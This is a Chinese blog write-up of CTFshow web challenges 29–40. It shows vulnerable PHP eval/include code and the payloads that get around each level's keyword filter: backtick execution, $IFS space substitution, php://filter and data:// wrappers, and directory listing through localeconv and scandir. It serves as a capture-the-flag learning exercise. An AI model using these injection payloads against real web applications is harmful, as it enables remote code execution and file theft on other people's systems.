CTFshow 命令执行 web29-web40

文章系列介绍了多个基于PHP的Web安全问题,涉及eval函数的使用以及如何绕过过滤机制执行命令。通过正则表达式过滤关键词如flag,system,php等,但通过各种技巧如使用printf,passthru,反斜杠转义,数据URIscheme,文件包含函数等方法可以规避限制,执行想要的命令或获取文件内容。
摘要由CSDN通过智能技术生成

web 29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

很简单,就过滤了flag
?c=system("ls");
?c=system("tac fla\g.php");

web 30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤了system,php,flag
法一:
passthru("ls");
passthru("tac fla*");
法二:
printf或echo
?c=printf(\`ls\`);
?c=printf(\`tac fla\g.ph\p\`);或者?c=printf(\`tac fla*\`);

web 31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

?c=printf(\`ls\`);
?c=printf(\`tac\$IFS\$9fla*\`);

web 32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤了反引号、左括号和分号,passthru、printf和echo都用不了,取反绕过也不行,
分号得用 ?>
新姿势:嵌套文件包含
payload:
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述
base64解码即得flag

web 33

和web32一个解法
如果include被过滤了,可以用require来代替,反正就是文件包含的函数。

web 34 和web 35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

和web32一个解法

web 36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这题解法也差不多,数字换成字母就可以了
?c=include%0a$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web 37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

涉及到一点文件包含,只过滤了flag
法一:php://input
BP抓包,用HackBar传参之后没有内容回显
POST传<?php echo system("ls"); ?>
在这里插入图片描述

再传<?php echo system("tac flag.php"); ?>

在这里插入图片描述
法二:data协议

web 38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

多过滤了php和file,PHP伪协议用不了,只能用data协议
1.短标签
?c=data://text/plain,<?=system("tac f*")?>
2.base64编码
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
然后在源码里就可以看到flag。

web 39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

?c=data://text/plain,<?php echo system("tac f*");?>

web 40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。
  这里主要是返回值为数组且第一项为"."

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为 . 所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,
直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

?c=var_dump(scandir(current(localeconv())));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值